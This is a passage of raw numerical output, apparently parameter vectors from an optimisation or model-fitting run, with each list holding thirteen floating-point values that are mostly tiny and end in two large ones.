-1.3359785407261977e-12, -1.9719420123154376e-13, \n 4.861133464689211e-11, -1.483232636118454e-10, -1.8195538935082505e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.7966453439138136e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 174954502194.04602, \n 103131734300.077]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.814072294943091e-11, -1.437983579446461e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.107645094765291e-10, 171249412831.2997, \n 103180541968.40872]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.476291648179518e-10, -1.7906363569860738e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.8221372696029056e-08, 9.081976758127089e-10, 154981149327.29538, \n 103805616436.34537]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.855683396544643e-11, -1.432701673757514e-10, -1.825643030416898e-15, \n 8.83613368865103e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -\n 1.81828896229741e-08, 9.081976758127089e-10, 158250536108.31226, \n 106843736334.12831]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9439448414369486e-13, \n 4.855683396544643e-11, -1.4675478300173032e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.5187119035976227e-05, -1.797858272312416e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 148433419780.93826, \n 110030788135.34956]\n[-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.432701673757514e-10, -1.799249889019179e-15, \n 8.765174154706532e-16, 2.4802576523291093e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 152744383578.88885, \n 111006224451.55664]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, \n -1.8140174569754755e-08, 9.081976758127089e-10, 140660582328.68314, \n 113087422800.04585]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.4723, \n 115101067854.69138]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.830053261436748e-08, 9.081976758127089e-10, 129686832886.01216, \n 126984206927.84627]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.4592095499147362e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.850709631603352e-08, 9.087619653117874e-10, 188127979624.47858, \n 98138013390.26245]\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8139505305916955e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.783887938075847e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.45816, \n 98829512345.71414]\n[-8.379785124926609e-10, -1.3292316984383345e-12, -1.955394873972143e-13, \n 4.852404641399239e-11, -1.4779126633130978e-10, -1.799249889019179e-15,\n 8.775397316555329e-16, 2.5049204386853816e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.035879148460716e-10, 183972070969.05157, \n 98891303611.42876]\n[-8.373750609204521e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.4659424506650604e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.492800478197597e-05, -1.7997194394724915e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 176341783374.723, \n 99638222233.03885]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4696825367906723e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 187303786818.71506, \n 99962477826.90034]\n[-8.29844666406642e-10, -1.3259182588069894e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.492800478197597e-05, -1.799557982850986e-06, -\n 1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3526, \n 100180028793.6191]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.4907384876305387e-05, -1.799557982850986e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 192885903228.52237, \n 100290100926.3771]\n[-8.372802930516975e-10, -1.340114474894997e-12, -1.9475632661250835e-13, \n 4.852404641399239e-11, -1.4659424506650604e-10, -1.803543054789903e-15,\n 8.839563844754409e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 193159834117.98853, \n 100447140164.3877]\n[-8.45347775440883e-10, -1.3359785407261977e-12, -1.9409478257397567e-13, \n 4.852404641399239e-11, -1.463585775827913e-10, -1.812045689500589e-15, \n 8.706272486016714e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 192907161589.0385, \n 100872818268.9527]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15,\n 8.705169785374419e-16, 2.4957985197946978e-05, -1.7997194394724915e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 183710210581.81177, \n 101076246798.6337]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.542150809952725e-05, -1.7997194394724915e-06, \n -1.850709631603352e-08, 9.087619653117874e-10, 168715457724.7375, \n 101683114493.3993]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.849645416672899e-11, -1.432701673757514e-10, -1.803543054789903e-15, \n 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 153789626574.96255, \n 105699410466.83022]\n[-8.372802930516975e-10, -1.3398025228100945e-12, -1.9531413192683389e-13, \n 4.855683396544643e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.714032924475303e-16, 2.4957985197946978e-05, -1.793948394990656e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 159560429502.34207, \n 105861289429.36061]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.7864100157215748e-15,\n 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 147461834890.53723, \n 106068644665.40553]\n[-8.372802930516975e-10, -1.3292316984383345e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4760843266911815e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.492800478197597e-05, -1.7933608637070708e-06, \n -1.836034443165441e-08, 9.087979750822277e-10, 147793960453.4741, \n 109638154986.2024]\n[-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8434260838579935e-11, -1.4561659265574012e-10, -1.819718397269023e-15,\n 8.775397316555329e-16, 2.4948775411850268e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.081976758127089e-10, 150492287670.62976, \n 114344342719.97507]\n[-8.406587076953522e-10, -1.318355348076889e-12, -1.9519777560623135e-13, \n 4.855683396544643e-11, -1.4760843266911815e-10, -1.815921924023075e-15,\n 8.839563844754409e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.78632, \n 115101067854.31332]\n[-8.389236670603421e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.717072130867646e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 137339476236.27339, \n 120797794814.05704]\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.492800478197597e-05, -1.786297491730252e-06, -\n 1.836034443165441e-08, 9.087619653117874e-10, 128365631923.39072, \n 133721716481.47603]\n[-8.361552586353477e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.483403849637781e-05, -1.783565701728919e-06, -\n 1.836034443165441e-08, 9.095300241628919e-10, 123047993752.2489, \n 147005409641.27127]\n[-9.129396902499863e-10, -1.290047843436073e-12, -2.702634930634393e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1792166675464865e-15,\n 9.365717147446797e-16, 1.8994698205972217e-05, -1.8050933870374392e-06,\n -1.3360134446642706e-08, 8.693561802236366e-10, 169675879824.58978, \n 156722470654.13324]\n[6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, \n 4.701662665204773e-11, -1.4934765549498044e-10, -2.0495920936053975e-15,\n 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06,\n -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.48868, \n 167972224844.19583]\n[6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, \n 4.701662665204773e-11, -1.4986345441105813e-10, -2.0495920936053975e-15,\n 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06,\n -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.75635, \n 167972224843.92523]\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06,\n -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, \n 192873830899.82352]\n[6.303262263534727e-10, -1.290047843436073e-12, -2.5988950272728827e-13, \n 4.58556551164694e-11, -1.4986345441105813e-10, -2.1913589342035502e-15,\n 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06,\n -1.3247752346374906e-08, 8.693561802236366e-10, 164354464752.25952, \n 160840990423.46024]\n[6.354744988103506e-10, -1.2096663849982051e-12, -1.830526663998671e-13, \n 4.6589669053151376e-11, -1.4986345441105813e-10, -\n 2.0495920936053975e-15, 8.502785255135087e-16, 1.894858193847651e-05, -\n 1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10,\n 96467208837.94556, 179586543004.98117]\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, \n 4.58556551164694e-11, -1.8580228849463816e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.9540146753875297e-05, -1.8218396850604304e-06,\n -1.3360134446642706e-08, 8.759216763039946e-10, 117765020064.66293, \n 187118262382.8758]\n[-9.129396902499863e-10, -1.3004166005044262e-12, -1.8356995493902235e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.962681376929987e-05, -1.8050933870374392e-06, \n -1.3418860642065019e-08, 8.693561802236366e-10, 122674650037.46736, \n 187415567631.77402]\n[-9.212545260772544e-10, -1.2799153483071088e-12, -1.8213920664100724e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06,\n -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, \n 192873830899.82352]\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, \n 4.6154548476823616e-11, -1.8724359625458014e-10, -\n 2.1913589342035502e-15, 9.358479354640953e-16, 1.9540146753875297e-05, \n -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10,\n 117723326371.02731, 192873830899.82806]\n[2.2152115305769157e-10, -1.6907719215642795e-12, -2.5108769063589337e-13, \n 4.9793760275117476e-11, -2.0780774158604122e-10, -\n 2.1593626664102876e-15, 8.836470142939426e-16, 2.0200374650352852e-05, \n -1.7639524821935923e-06, -1.5013783998899997e-08, 8.77876424822685e-10,\n 170388218306.66492, 168925348515.4128]\n[2.2152115305769157e-10, -1.6907719215642795e-12, -2.1051647732787472e-13, \n 4.9793760275117476e-11, -2.0780774158604122e-10, -\n 2.1790706433018085e-15, 8.836470142939426e-16, 2.0343533479720338e-05, \n -1.7639524821935923e-06, -1.5091093694835327e-08, 8.771058818345121e-10,\n 191821821495.1242, 158798904598.69617]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15,\n 8.836470142939426e-16, 2.0217203662255432e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.771058818345121e-10, 177069079234.4985, \n 163375067226.8736]\n[2.213664545134999e-10, -1.2059133330572482e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.508245699810314e-08, 8.771058818345121e-10, 197879714583.27084, \n 152444791757.7255]\n[0.0, -1.223723210207519e-12, -2.1051647732787472e-13, \n 4.971358693780409e-11, -1.7352085678160897e-10, -2.165433707987142e-15,\n 7.304553415989529e-16, 2.0047355685146273e-05, -1.7657604268720381e-06,\n -1.4977385439375226e-08, 8.771058818345121e-10, 197945074606.02325, \n 153164597685.87036]\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5202351660972107e-08, 8.771058818345121e-10, 111986329581.05826, \n 155849166742.8801]\n[2.2133713135172913e-10, -1.2059133330572482e-12, -2.5107145183244764e-13, \n 5.011120217163613e-11, -1.724660990140153e-10, -2.1790706433018085e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.771058818345121e-10, 187269085984.5673, \n 161472427331.15216]\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11,\n -1.7677981323511262e-10, -2.145058695065051e-15, 7.430575474541962e-16,\n 2.0053347897812537e-05, -1.7639524821935923e-06, -\n 1.4682044872577598e-08, 8.728626586100963e-10, 152433850624.54852, \n 175966043507.07343]\n[0.0, -1.223723210207519e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -2.1790706433018085e-15,\n 7.430575474541962e-16, 1.9918519209106862e-05, -1.7685796144533914e-06,\n -1.4682044872577598e-08, 8.771058818345121e-10, 153535961138.3572, \n 184829802626.36642]\n[2.2152115305769157e-10, -1.200937983572784e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7420072583381303e-10, -1.8426407940693324e-15,\n 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.77588, \n 189416231139.84406]\n[0.0, -1.2207456906260254e-12, -2.1065990049856794e-13, \n 4.9793760275117476e-11, -2.0772853669541976e-10, -\n 1.8426407940693324e-15, 7.430575474541962e-16, 1.9867416915370552e-05, \n -1.7639524821935923e-06, -1.5091093694835327e-08, 8.728626586100963e-10,\n 160631139543.06137, 122019730569.7476]\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7677981323511262e-10, -1.857281675942834e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.771058818345121e-10, 153487531028.94116, \n 128597452665.91768]\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11,\n -1.7849498396021264e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08,\n 8.771058818345121e-10, 142632578694.80914, 130195065921.46504]\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, \n 161449199082.99103]\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11,\n -1.7677981323511262e-10, -1.857281675942834e-15, 7.430575474541962e-16,\n 1.981538293869461e-05, -1.769936435419886e-06, -1.4682044872577598e-08,\n 8.728626586100963e-10, 100156348461.68698, 161778485371.36353]\n[0.0, -1.1984578022968498e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5091093694835327e-08, 8.760544278271184e-10, 100072993312.46272, \n 171303112707.4717]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 4.9793760275117476e-11, -1.7352085678160897e-10, -\n 1.8261648304268637e-15, 8.836470142939426e-16, 2.0343533479720338e-05, \n -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10,\n 97245352689.07887, 174341101475.58182]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9675085987122204e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -\n 1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10,\n 92503635735.71886, 182996786041.40976]\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11,\n -1.7677981323511262e-10, -2.1612081417375267e-15, 7.470344646267989e-16,\n 2.0053347897812537e-05, -1.7639524821935923e-06, -\n 1.4645406166689473e-08, 8.730660207999707e-10, 148185335900.70355, \n 185221791801.95062]\n[2.2111462065028517e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, \n 5.056589741460715e-11, -1.7420072583381303e-10, -1.8426407940693324e-15,\n 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.76936, \n 189416231139.85312]\n[2.2152115305769157e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7420072583381303e-10, -1.8276902524925885e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5091093694835327e-08, 8.771058818345121e-10, 90666406593.2125, \n 190153350507.14474]\n[2.2152115305769157e-10, -1.2049195466583994e-12, -2.1065990049856794e-13, \n 4.98075339514226e-11, -1.7558160485557454e-10, -1.8426407940693324e-15,\n 7.454251311051652e-16, 2.0095046248399238e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.771058818345121e-10, 89706134652.28279, \n 197738317572.1617]\n[0.0, -1.2031098015567e-12, -2.1065990049856794e-13, 5.0102593857564815e-11,\n -1.7352085678160897e-10, -1.819039898810471e-15, 7.460417812765263e-16,\n 2.0200374650352852e-05, -1.7758673160173464e-06, -\n 1.5202351660972107e-08, 8.760544278271184e-10, 160476853944.9334, \n 119035825863.27417]\n[2.2152115305769157e-10, -1.2031098015567e-12, -2.5161591646068603e-13, \n 4.9793760275117476e-11, -1.7849498396021264e-10, -1.82610373802557e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5344868185414675e-08, 8.771058818345121e-10, 180743589801.84604, \n 120144468135.82727]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.947687927376915e-11, -1.7558160485557454e-10, -1.8426407940693324e-15,\n 8.836470142939426e-16, 2.04140411384885e-05, -1.7639524821935923e-06, -\n 1.5078308038358913e-08, 8.683463468773267e-10, 146622662638.346, \n 120359956158.03543]\n[0.0, -1.1984578022968498e-12, -2.094909506024221e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7813149517985466e-06,\n -1.5091093694835327e-08, 8.760544278271184e-10, 171477577754.58575, \n 120995758664.39177]\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, \n 4.9967768219433575e-11, -1.7352085678160897e-10, -\n 1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, \n -1.7639524821935923e-06, -1.5091093694835327e-08, 8.703632209100975e-10,\n 151029089477.88403, 121221447183.73479]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, \n 123962248783.03809]\n[2.233355889138985e-10, -1.2031098015567e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.771058818345121e-10, 148301377250.4212, \n 129257349906.46594]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.448076765658434e-16, 2.0200374650352852e-05, -1.7728642137544318e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 131981382341.97574, \n 129372470770.49553]\n[0.0, -1.2031098015567e-12, -2.088572649745598e-13, 5.011120217163613e-11, \n -1.7849498396021264e-10, -1.82610373802557e-15, 8.836470142939426e-16, \n 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08,\n 8.771058818345121e-10, 142632578694.80914, 130195065921.46504]\n[-5.2595470648843136e-09, -1.2003583976149596e-12, -2.5161591646068603e-13,\n 5.011120217163613e-11, -1.7461898455625076e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.517941226634992e-08, 8.771058818345121e-10, 142718091682.67987, \n 132029509845.4832]\n[2.2257852388875064e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9793760275117476e-11, -1.7380412465809723e-10, -1.841021101878205e-15,\n 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.750599822793858e-10, 126150709659.35735, \n 137741348069.72827]\n[0.0, -1.2344709098355012e-12, -2.090479539659853e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15,\n 7.485411998460075e-16, 1.981538293869461e-05, -1.769936435419886e-06, -\n 1.4682044872577598e-08, 8.711551918674385e-10, 114088676894.18327, \n 143862344272.2216]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, \n 143868003797.30536]\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.088572649745598e-13, \n 4.995108013618423e-11, -1.7207960562590789e-10, -1.8426407940693324e-15,\n 8.836470142939426e-16, 2.015341505664753e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.771058818345121e-10, 115848531243.76457, \n 151496866956.06183]\n[7.878840270455085e-09, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.022894055850661e-11, -1.7352085678160897e-10, -1.8610445297760222e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.5202351660972107e-08, 8.760544278271184e-10, 113456911424.16617, \n 154679332976.7693]\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11,\n -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 1.983133919352831e-05, -1.7639524821935923e-06, -1.500055802123721e-08,\n 8.760544278271184e-10, 107979663117.77498, 158587944243.3901]\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.451496753853957e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, \n 161449199082.99103]\n[2.1977210438689425e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, \n 161449199082.99103]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.099781497267347e-13, \n 4.9793760275117476e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.0299458575301996e-05, \n -1.756844278469525e-06, -1.5202351660972107e-08, 8.750599822793858e-10,\n 101036412554.48618, 178952195751.12357]\n[0.0, -1.2071709641632366e-12, -2.088572649745598e-13, \n 4.9793760275117476e-11, -1.7352085678160897e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.0200374650352852e-05, \n -1.7587739009571313e-06, -1.5202351660972107e-08, 8.768692858683927e-10,\n 101115281125.52821, 181312381109.07834]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9675085987122204e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -\n 1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10,\n 92503635735.71886, 182996786041.40976]\n[2.2295275331941093e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9675085987122204e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -\n 1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10,\n 92503635735.71886, 182996786041.40976]\n[0.0, -1.223723210207519e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7707453284878416e-10, -1.866210682668369e-15,\n 7.430575474541962e-16, 1.9722774245768875e-05, -1.769936435419886e-06, \n -1.4682044872577598e-08, 8.760544278271184e-10, 88317753591.74515, \n 193403737351.61066]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.5161591646068603e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7493239251088378e-06,\n -1.5085870105283375e-08, 8.701394499644777e-10, 90763281590.1167, \n 199093039398.6542]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15,\n 7.387655049943961e-16, 1.981538293869461e-05, -1.769936435419886e-06, -\n 1.4563889985865401e-08, 8.644597543611974e-10, 157634872361.7637, \n 120593643708.66519]\n[2.2257852388875064e-10, -1.2070230966272908e-12, -2.1051647732787472e-13, \n 5.027931250826744e-11, -1.755220169767042e-10, -1.810973414699955e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.750599822793858e-10, 159354716917.0895, \n 121269083493.68436]\n[0.0, -1.2031098015567e-12, -2.090479539659853e-13, 5.011120217163613e-11, \n -1.7352085678160897e-10, -1.8577367523496564e-15, 7.430575474541962e-16,\n 1.9814643005749893e-05, -1.7639524821935923e-06, -1.500055802123721e-08,\n 8.711551918674385e-10, 168378423128.42877, 121439949900.90005]\n[2.198369754018213e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7513929529124395e-10, -1.82610373802557e-15, \n 7.448076765658434e-16, 2.0042195789951223e-05, -1.7728642137544318e-06,\n -1.5013783998899997e-08, 8.734593739302048e-10, 147068576327.25705, \n 122027384226.92]\n[2.2257852388875064e-10, -1.2059133330572482e-12, -2.090479539659853e-13, \n 4.9793760275117476e-11, -1.7849498396021264e-10, -1.841021101878205e-15,\n 7.556782953802372e-16, 2.022642042947946e-05, -1.769936435419886e-06, -\n 1.5202351660972107e-08, 8.750599822793858e-10, 149871632956.7388, \n 122750625888.09634]\n[2.2152115305769157e-10, -1.2344709098355012e-12, -2.1013781830316155e-13, \n 5.011120217163613e-11, -1.7343044399460855e-10, -1.857281675942834e-15,\n 7.430575474541962e-16, 2.0343113714890682e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 151082881535.07886, \n 